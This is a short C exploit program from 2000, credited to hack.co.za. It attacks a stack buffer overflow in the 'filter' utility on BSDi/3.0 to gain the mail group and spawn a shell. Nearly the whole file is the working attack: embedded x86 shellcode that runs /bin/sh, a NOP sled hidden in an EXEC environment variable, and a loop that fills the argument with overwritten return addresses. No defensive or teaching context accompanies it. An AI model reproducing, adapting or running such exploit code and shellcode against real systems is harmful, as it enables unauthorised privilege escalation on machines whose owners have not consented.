/*
   (BSDi)filter[v2.*] buffer overflow, by v9[v9@fakehalo.org].  this exploit
   yields egid/group=14(mail) on BSDi/3.0 systems with the filter package.
   
   note: you have to press ^D to overflow the buffer, and launch the shell.
*/

#define PATH "/usr/contrib/bin/filter"  /* path to filter on BSDi/3.0. */
#define DEFAULT_OFFSET -3000            /* general offset, a lot of room. */

static char exec[]=
  "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
  "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
  "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
  "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */

long pointer(void){__asm__("movl %esp,%eax");}

int main(int argc,char **argv){
  char eip[520],buf[4096];
  int i,offset;
  long ret;
  printf("[ (BSDi)filter[v2.*]: buffer overflow, by: v9[v9@fakehalo.org]. ]\n");
  if(argc>1){offset=atoi(argv[1]);}
  else{offset=DEFAULT_OFFSET;}
  ret=(pointer()-offset);
  for(i=0;i<520;i+=4){*(long *)&eip[i]=ret;}
  eip[520]=0x0;
  for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
  memcpy(buf+i,exec,strlen(exec));
  memcpy(buf,"EXEC=",5);putenv(buf);
  printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset);
  printf("*** [note]: hit CTRL-D overwrite eip, and launch a shell.\n");
  if(execlp(PATH,"filter","-f",eip,0)){
    printf("*** [error]: could not execute %s successfully.\n",PATH);
    exit(1);
  }
}
/*                   www.hack.co.za    [15 November 2000]*/